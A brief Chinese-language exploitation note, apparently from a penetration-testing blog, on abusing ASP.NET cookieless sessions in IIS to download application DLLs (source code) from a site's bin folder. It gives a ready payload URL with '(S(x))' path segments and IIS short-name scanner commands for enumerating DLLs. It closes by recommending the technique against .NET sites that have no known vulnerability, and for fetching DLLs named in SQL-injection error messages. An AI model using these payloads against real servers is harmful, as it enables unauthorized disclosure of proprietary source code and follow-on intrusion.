0x01 原理:
and app.name=="Microsoft ASP.NET"
在 IIS 中启用 ASP.NET 功能时,服务器的任何页面都将开始接受无 Cookie 会话。在之前这个特性常被用于绕过waf,但是最近一个国外的安全研究员发现这个功能可以被用来下载网站文件夹下的文件,例如bin文件夹中的dll文件,也就是源码。
原理参考:
https://swarm.ptsecurity.com/source-code-disclosure-in-asp-net-apps/
https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/
https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10)
0x02 利用示例:
payload:
http://Y.Y.Y.Y/(S(x))/b/(S(x))in/GMIS.WEB.dll
作者给出了批量获取存在的dll文件的方式:
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
jar包下载地址:
https://github.com/irsdl/IIS-ShortName-Scanner
0x03 使用场景:
遇到.net的网站,不知道接口,没有现有漏洞,就可以尝试这种方法,把源代码下载下来审计。
另外在访问网站时,测试sql注入报错信息中存在dll包名,这个时候我们就可以利用该漏洞准确的下载到对应资源的dll